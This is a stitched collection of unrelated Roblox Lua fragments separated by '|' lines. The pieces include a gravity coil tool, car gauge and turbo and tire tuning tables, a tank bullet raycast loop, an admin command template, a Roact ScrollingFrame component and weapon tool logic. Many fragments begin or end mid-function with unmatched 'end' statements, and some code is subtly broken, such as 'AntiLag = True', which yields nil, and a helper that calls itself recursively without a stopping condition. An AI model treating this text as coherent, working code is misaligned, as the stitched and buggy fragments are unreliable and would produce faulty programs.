local char = Tool.Parent
if char == nil then return end
ghostEffect = Instance.new("BodyForce")
ghostEffect.Name = "GravityCoilEffect"
ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0)
ghostEffect.Parent = char.Head
ghostChar = char
massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end)
massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end)
end
end
end
function onEquipped()
myCharacter = Tool.Parent
UpdateGhostState(false)
Tool.Handle.CoilSound:Play()
end
function onUnequipped()
UpdateGhostState(true)
end
script.Parent.Equipped:connect(onEquipped)
script.Parent.Unequipped:connect(onUnequipped)
|
--Tune--
|
local StockHP = 350 --Power output desmos: https://www.desmos.com/calculator/wezfve8j90 (does not come with torque curve)
local TurboCount = 2 --(1 = SingleTurbo),(2 = TwinTurbo),(if bigger then it will default to 2 turbos)
local TurboSize = 45 --bigger the turbo, the more lag it has
local WasteGatePressure = 10 --Max PSI for each turbo (if twin and running 10 PSI, thats 10PSI for each turbo)
local CompressionRatio = 9/1 --Compression of your car (look up the compression of the engine you are running)
local AntiLag = True --if true basically keeps the turbo spooled up so less lag
local BOV_Loudness = 10 --volume of the BOV (not exact volume so you kinda have to experiment with it)
local TurboLoudness = 1 --volume of the Turbo (not exact volume so you kinda have to experiment with it also)
|
--Automatic Gauge Scaling
|
if autoscaling then
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("FL")~= nil then
table.insert(Drive,car.Wheels.FL)
end
if car.Wheels:FindFirstChild("FR")~= nil then
table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 175 / 7000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -30 + (240 / 160) * (math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
-- It's important we update all icons when a players language changes to account for changes in the width of text, etc
|
task.spawn(function()
local success, translator = pcall(function() return localizationService:GetTranslatorForPlayerAsync(localPlayer) end)
local function updateAllIcons()
local icons = IconController.getIcons()
for _, icon in pairs(icons) do
icon:_updateAll()
end
end
if success then
IconController.translator = translator
translator:GetPropertyChangedSignal("LocaleId"):Connect(updateAllIcons)
task.spawn(updateAllIcons)
task.delay(1, updateAllIcons)
task.delay(10, updateAllIcons)
end
end)
return IconController
|
--Loop For Making Rays For The Bullet's Trajectory
|
for i = 1, 30 do
--print("Travelling")
local thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0)
local travelRay = Ray.new(point1,thisOffset)
acceptable = false
while not acceptable do
hit, position = workspace:FindPartOnRayWithIgnoreList(travelRay, ignoreList)
if hit then
--print(hit.Name)
if hit.Name == "FakeTrack" or hit.Name == "Flash" then
ignoreList[#ignoreList+1] = hit
--print("Un-Acceptable")
else
--print("Acceptable")
acceptable = true
end
else
--print("Acceptable")
acceptable = true
end
end
local distance = (position - point1).magnitude
round.Size = Vector3.new(0.6, distance, 0.6)
round.CFrame = CFrame.new(position, point1)
* CFrame.new(0, 0, -distance/2)
* CFrame.Angles(math.rad(90),0,0)
round.Parent = Workspace
point1 = point1 + thisOffset
allied = false
if hit and hit.Parent then --if we hit something
--print("Bullet Hit Something")
if hit.Parent.Parent then --look if what we hit is a tank
tank = hit.Parent.Parent:findFirstChild("Tank")
if not tank and hit.Parent.Parent.Parent then
tank = hit.Parent.Parent.Parent:findFirstChild("Tank")
if not tank and hit.Parent.Parent.Parent.Parent then
local tank = hit.Parent.Parent.Parent.Parent:findFirstChild("Tank")
if not tank and hit.Parent.Parent.Parent.Parent.Parent then
local tank = hit.Parent.Parent.Parent.Parent.Parent:findFirstChild("Tank")
end
end
end
end
if tank then --if it is a tank
--print("Hit a Tank")
if tank.Value == BrickColor.new("Bright red") then --if we hit an ally
allied = true
--print("Tank is an ally")
end
end
if not allied then
round:remove()
local e = Instance.new("Explosion")
e.BlastRadius = 4
e.BlastPressure = 1700
e.ExplosionType = Enum.ExplosionType.NoCraters
e.DestroyJointRadiusPercent = 1.3
e.Position = position
e.Parent = Workspace
local impactPos = CFrame.new(point1,point1 + thisOffset)-point1+position
for angle = 1, 360, 40 do
ray(angle,1.5, impactPos)
ray(angle,3, impactPos)
--wait()
end
round:remove()
break
elseif hit and allied then
round:remove()
break
end
end
wait()
end
if round then
round:remove()
end
script:remove()
|
-------------------------
|
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Really red")
R.Function2.Disabled = true
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- initiate
|
while true do
wait(1)
for p, v in pairs(cooldowns) do
cooldowns[p] = v - 1
end
end
|
-- << COMMANDS >>
|
local module = {
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {};
Function = function(speaker, args)
end;
UnFunction = function(speaker, args)
end;
--
};
-----------------------------------
{
Name = "bad";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {"Player"};
ClientCommand = true;
FireAllClients = true;
--[[
ClientCommand = true;
FireAllClients = true;
BlockWhenPunished = true;
PreFunction = function(speaker, args)
end;
Function = function(speaker, args)
wait(1)
end;
--]]
--
};
-----------------------------------
};
return module
|
--TABS
|
function activedeactive(thing, val)
for _,i in pairs (thing:GetChildren()) do
if i:IsA("ImageButton") or i:IsA("TextButton") then
i.Active = val
activedeactive(lights,true)
activedeactive(siren,true)
activedeactive(seats,true)
end
end
end
|
--> LOCAL VARIABLES
|
local Flare = script.Parent
local FlareBullet = Flare:WaitForChild("FlareAmmunition")
local ClickedEvent = Flare:WaitForChild("PlayerClicked")
local FlareBulletScript = script:WaitForChild("FlareBulletScript")
local ReloadTime = Flare:WaitForChild("Customisation"):WaitForChild("ReloadTime").Value
local BulletVelocity = Flare:WaitForChild("Customisation"):WaitForChild("BulletVelocity")
local Reloading = false
|
-- Looking for how exactly to set up your background music? Open the Readme/Instructions script!
|
local settings = {}
settings.UseGlobalBackgroundMusic = true -- If you want to play Global Background Music for everyone in your game, set this to true.
settings.UseMusicZones = false -- If you are using the Background Music Zones to play specific music in certain areas, set this to true.
|
-- Set defaults
|
ScrollingFrame.defaultProps = {
BackgroundTransparency = 1,
BorderSizePixel = 0,
Size = UDim2.new(1, 0, 1, 0),
CanvasSize = UDim2.new(1, 0, 1, 0)
}
function ScrollingFrame:render()
local props = Support.CloneTable(self.props)
local state = self.state
-- Include aspect ratio constraint if specified
if props.AspectRatio then
local Constraint = new('UIAspectRatioConstraint', {
AspectRatio = props.AspectRatio
})
-- Insert constraint into children
props[Roact.Children] = Support.Merge(
{ AspectRatio = Constraint },
props[Roact.Children] or {}
)
end
-- Include list layout if specified
if props.Layout == 'List' then
local Layout = new('UIListLayout', {
FillDirection = props.LayoutDirection,
Padding = props.LayoutPadding,
HorizontalAlignment = props.HorizontalAlignment,
VerticalAlignment = props.VerticalAlignment,
SortOrder = props.SortOrder or 'LayoutOrder',
[Roact.Ref] = function (rbx)
self:UpdateContentSize(rbx)
end,
[Roact.Change.AbsoluteContentSize] = function (rbx)
self:UpdateContentSize(rbx)
end
})
-- Update size
props.Size = self:GetSize()
props.CanvasSize = self:GetCanvasSize()
-- Insert layout into children
props[Roact.Children] = Support.Merge(
{ Layout = Layout },
props[Roact.Children] or {}
)
end
-- Filter out custom properties
props.AspectRatio = nil
props.Layout = nil
props.LayoutDirection = nil
props.LayoutPadding = nil
props.HorizontalAlignment = nil
props.VerticalAlignment = nil
props.SortOrder = nil
props.Width = nil
props.Height = nil
props.CanvasWidth = nil
props.CanvasHeight = nil
-- Display component in wrapper
return new('ScrollingFrame', props)
end
function ScrollingFrame:GetSize(ContentSize)
local props = self.props
-- Determine dynamic dimensions
local DynamicWidth = props.Size == 'WRAP_CONTENT' or
props.Width == 'WRAP_CONTENT'
local DynamicHeight = props.Size == 'WRAP_CONTENT' or
props.Height == 'WRAP_CONTENT'
local DynamicSize = DynamicWidth or DynamicHeight
-- Calculate size based on content if dynamic
return UDim2.new(
(ContentSize and DynamicWidth) and UDim.new(0, ContentSize.X) or
(typeof(props.Width) == 'UDim' and props.Width or props.Size.X),
(ContentSize and DynamicHeight) and UDim.new(0, ContentSize.Y) or
(typeof(props.Height) == 'UDim' and props.Height or props.Size.Y)
)
end
function ScrollingFrame:GetCanvasSize(ContentSize)
local props = self.props
-- Determine dynamic canvas dimensions
local DynamicCanvasWidth = props.CanvasSize == 'WRAP_CONTENT' or
props.CanvasWidth == 'WRAP_CONTENT'
local DynamicCanvasHeight = props.CanvasSize == 'WRAP_CONTENT' or
props.CanvasHeight == 'WRAP_CONTENT'
local DynamicCanvasSize = DynamicCanvasWidth or DynamicCanvasHeight
-- Calculate size based on content if dynamic
return UDim2.new(
(ContentSize and DynamicCanvasWidth) and UDim.new(0, ContentSize.X) or
(typeof(props.CanvasWidth) == 'UDim' and props.CanvasWidth or props.CanvasSize.X),
(ContentSize and DynamicCanvasHeight) and UDim.new(0, ContentSize.Y) or
(typeof(props.CanvasHeight) == 'UDim' and props.CanvasHeight or props.CanvasSize.Y)
)
end
function ScrollingFrame:UpdateContentSize(Layout)
if not (Layout and Layout.Parent) then
return
end
-- Set container size based on content
Layout.Parent.Size = self:GetSize(Layout.AbsoluteContentSize)
Layout.Parent.CanvasSize = self:GetCanvasSize(Layout.AbsoluteContentSize)
end
return ScrollingFrame
|
------------------------------------------------------------------------
-- leaves a code unit, close any upvalues
------------------------------------------------------------------------
|
function luaY:leaveblock(fs)
local bl = fs.bl
fs.bl = bl.previous
self:removevars(fs.ls, bl.nactvar)
if bl.upval then
luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
end
-- a block either controls scope or breaks (never both)
assert(not bl.isbreakable or not bl.upval)
assert(bl.nactvar == fs.nactvar)
fs.freereg = fs.nactvar -- free registers
luaK:patchtohere(fs, bl.breaklist)
end
|
--This is a Join Trigger
|
if (not game:IsLoaded()) then game.Loaded:Wait() end
repeat wait() until game.Workspace.CurrentCamera
if game.Players.CharacterAutoLoads then
repeat wait() until game.Players.LocalPlayer.Character
end
local EasingStyles = {
["Linear"] = Enum.EasingStyle.Linear,
["Sine"] = Enum.EasingStyle.Sine,
["Back"] = Enum.EasingStyle.Back,
["Quad"] = Enum.EasingStyle.Quad,
["Quart"] = Enum.EasingStyle.Quart,
["Quint"] = Enum.EasingStyle.Quint,
["Bounce"] = Enum.EasingStyle.Bounce,
["Elastic"] = Enum.EasingStyle.Elastic,
["Exponential"] = Enum.EasingStyle.Exponential,
["Circular"] = Enum.EasingStyle.Circular,
["Cubic"] = Enum.EasingStyle.Cubic
}
local EasingDirections = {
["In"] = Enum.EasingDirection.In,
["InOut"] = Enum.EasingDirection.InOut,
["Out"] = Enum.EasingDirection.Out
}
local cutsceneinfo = script.CutsceneInfo
local currentcameramode = game.Workspace.CurrentCamera.CameraType
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
local camera = game.Workspace.CurrentCamera
|
-- if Sang.Value <= 0 then
-- human.Health = 0
-- end
| |
--[[**
ensures Roblox Instance type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.Instance = t.typeof("Instance")
|
--------LEFT DOOR 8--------
|
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(135)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102)
|
--[[**
ensures Lua primitive thread type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.thread = primitive("thread")
|
------ lOCAL -----
|
local Button = script.Parent
local Events = game:GetService("ReplicatedStorage").Events.GiveTools
local Frame = Button.Parent.Parent
|
--Modules
|
local internalclient: any = require(ReplicatedStorage:WaitForChild("Systems").InternalSystem.internalclient)
|
-- Unequip logic here
|
function OnUnequipped()
Handle.UnequipSound:Play()
Handle.EquipSound:Stop()
Handle.EquipSound2:Stop()
LeftButtonDown = false
flare.MuzzleFlash.Enabled = false
Reloading = false
MyCharacter = nil
MyHumanoid = nil
MyTorso = nil
MyPlayer = nil
MyMouse = nil
if OnFireConnection then
OnFireConnection:disconnect()
end
if OnReloadConnection then
OnReloadConnection:disconnect()
end
if FlashHolder then
FlashHolder = nil
end
if WeaponGui then
WeaponGui.Parent = nil
WeaponGui = nil
end
if RecoilTrack then
RecoilTrack:Stop()
end
if ReloadTrack then
ReloadTrack:Stop()
end
end
local function SetReticleColor(color)
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then
for _, line in pairs(WeaponGui.Crosshair:GetChildren()) do
if line:IsA('Frame') then
line.BorderColor3 = color
end
end
end
end
Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
while true do
wait(0.033)
if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and MyMouse then
WeaponGui.Crosshair.Position = UDim2.new(0, MyMouse.X, 0, MyMouse.Y)
SetReticleColor(NeutralReticleColor)
local target = MyMouse.Target
if target and target.Parent then
local player = PlayersService:GetPlayerFromCharacter(target.Parent)
if player then
if MyPlayer.Neutral or player.TeamColor ~= MyPlayer.TeamColor then
SetReticleColor(EnemyReticleColor)
else
SetReticleColor(FriendlyReticleColor)
end
end
end
end
if Spread and not IsShooting then
local currTime = time()
if currTime - LastSpreadUpdate > FireRate * 2 then
LastSpreadUpdate = currTime
Spread = math.max(MinSpread, Spread - AimInaccuracyStepAmount)
UpdateCrosshair(Spread, MyMouse)
end
end
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "virus" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- connect events
|
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
local runService = game:GetService("RunService");
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while true do
wait(0)
local _,time = wait(0)
move(time)
end
|
-- Resolve a promise once the signal is fired once
|
function Signal:Promise(predicate)
return Promise.FromEvent(self, predicate)
end
function Signal:Destroy()
self:DisconnectAll()
local proxyHandler = rawget(self, "_proxyHandler")
if proxyHandler then
proxyHandler:Disconnect()
end
end
|
--Tune
|
local _Select = "SemiSlicks" --(AllSeason, Slicks, SemiSlicks, AllTerrain, DragRadials, Custom) Caps and space sensitive
local _Custom = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --How fast your tires will degrade (Front)
FTargetFriction = .58 , --Friction in optimal conditions (Front)
FMinFriction = 0.35 , --Friction in worst conditions (Front)
RWearSpeed = .2 , --How fast your tires will degrade (Rear)
RTargetFriction = .63 , --Friction in optimal conditions (Rear)
RMinFriction = 0.35 , --Friction in worst conditions (Rear)
--Tire Slip
TCSOffRatio = 1 , --How much optimal grip your car will lose with TCS off, set to 1 if you dont want any losses.
WheelLockRatio = 1/6 , --How much grip your car will lose when locking the wheels
WheelspinRatio = 1/1.2 , --How much grip your car will lose when spinning the wheels
--Wheel Properties
FFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front) (PGS)
RFrictionWeight = 2 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear) (PGS)
FLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Front)
RLgcyFrWeight = 0 , --Ratio of friction between wheel and terrain, the higher it is, the more true to target friction your grip wil be (Rear)
FElasticity = 0 , --How much your wheel will bounce (Front) (PGS)
RElasticity = 0 , --How much your wheel will bounce (Rear) (PGS)
FLgcyElasticity = 0 , --How much your wheel will bounce (Front)
RLgcyElasticity = 0 , --How much your wheel will bounce (Rear)
FElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front) (PGS)
RElastWeight = 1 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear) (PGS)
FLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Front)
RLgcyElWeight = 10 , --Ratio of elasticity between wheel and terrain, the higher it is, the more true to the wheel elasticity it will be (Rear)
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllSeason = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .2 , --Don't change this
FTargetFriction = .6 , -- .58 to .63
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .2 , --Don't change this
RTargetFriction = .6 , -- .58 to .63
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 2 , --Don't change this
RFrictionWeight = 2 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _Slicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .6 , --Don't change this
FTargetFriction = .93 , -- .88 to .93
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .6 , --Don't change this
RTargetFriction = .93 , -- .88 to .93
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _SemiSlicks = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .5 , --Don't change this
FTargetFriction = .78 , -- .73 to .78
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .5 , --Don't change this
RTargetFriction = .78 , -- .73 to .78
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 0.6 , --Don't change this
RFrictionWeight = 0.6 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
--Wear Regen
RegenSpeed = 3.6 , --Don't change this
}
local _AllTerrain = {
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 , --Don't change this
FTargetFriction = .5 , -- .48 to .53
FMinFriction = 0.35 , --Don't change this
RWearSpeed = .3 , --Don't change this
RTargetFriction = .5 , -- .48 to .53
RMinFriction = 0.35 , --Don't change this
--Tire Slip
TCSOffRatio = 1 , --Don't change this
WheelLockRatio = 1/6 , --Don't change this
WheelspinRatio = 1/1.2 , --Don't change this
--Wheel Properties
FFrictionWeight = 10 , --Don't change this
RFrictionWeight = 10 , --Don't change this
FLgcyFrWeight = 0 , --Don't change this
RLgcyFrWeight = 0 , --Don't change this
FElasticity = 0 , --Don't change this
RElasticity = 0 , --Don't change this
FLgcyElasticity = 0 , --Don't change this
RLgcyElasticity = 0 , --Don't change this
FElastWeight = 1 , --Don't change this
RElastWeight = 1 , --Don't change this
FLgcyElWeight = 10 , --Don't change this
RLgcyElWeight = 10 , --Don't change this
